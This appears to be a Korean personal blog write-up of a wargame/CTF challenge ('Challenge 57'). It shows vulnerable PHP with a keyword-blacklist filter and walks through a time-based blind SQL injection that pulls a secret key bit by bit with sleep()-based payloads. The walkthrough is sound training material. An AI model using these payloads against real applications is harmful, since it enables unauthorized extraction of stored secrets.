본문 바로가기
Wargame(CTF)

Challenge 57

by Hide­ 2014. 6. 12.
반응형

후..시험기간이라 빠르게 풀고 다시 공부하려 했는데 대충대충 하는 습관때문에 하루종일 삽질을 하게 된 문제이다..

소스부터 확인해보자.

 

<?
$secret_key
="????"
;

if(
time()>1309064400) exit("오후 2시에 공개됩니다."
);

if(
$_POST[pw
])
{

if(
$_POST[pw]==$secret_key
)
{
mysql_query("delete from challenge57msg"
);
@
solve
();
exit();
}

}


if(
$_GET[msg] && $_GET[se
])
{
if(
eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied"
);

mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])"
);
echo(
"Done<br><br>"
);
}

?>

pw 컬럼으로 secret_key 가 insert 된다.

당연히 pw 컬럼안에 담기기 때문에 해당 컬럼을 공격해야하는데 secret 이라는 단어에 눈이 팔려서

자꾸 존재하지도 않는 secret_key 컬럼에 공격을 시도했었다..ㅡㅡ..

페이지를 살펴보면 메시지를 적는 부분과 비밀글 여부를 결정하는 부분이 있다.

그 아래 secret key를 입력하는 부분은 나중에 추출해낸 값을 auth 하는 부분으로 생각되므로

공격대상에서 제외하였다.

일단 메세지부분에 아무런 글이나 쓴 후 쿼리 전송 버튼을 눌러보자.

GET 방식으로 msg와 se 라는 변수를 통하여 날라간다.

화면에 특정하게 참/거짓 여부를 출력하지 않기 때문에 시간기반 Blind SQLi 를 시도해야한다.

아래와 같이 pw 의 글자수를 알아내었다.

 

?msg=a&se=if(length(pw)=10,sleep(1),0)

 

시간기반이므로 빠른공격을 위하여 몇일전 게시한 글의 방법을 통하여 진행하였다. (http://hides.tistory.com/247)


1) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),1,1)=0,sleep(1),0)
2) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),2,1)=0,sleep(1),0)
3) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),3,1)=1,sleep(1),0)
4) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),4,1)=1,sleep(1),0)
5) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),5,1)=0,sleep(1),0)
6) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),6,1)=0,sleep(1),0)
7) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),7,1)=0,sleep(1),0)
8) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),8,1)=1,sleep(1),0)

00110001 즉 첫번째 값은 1이다. 해당 페이로드를 이용하여 공격을 시도하면 된다.

'Wargame(CTF)' 카테고리의 다른 글

itchy's Funny injection 풀이  (0) 2014.06.18
Challenge 13  (0) 2014.06.15
Challenge 45  (0) 2014.06.12
Challenge 51  (0) 2014.06.10
Challenge 55  (0) 2014.06.08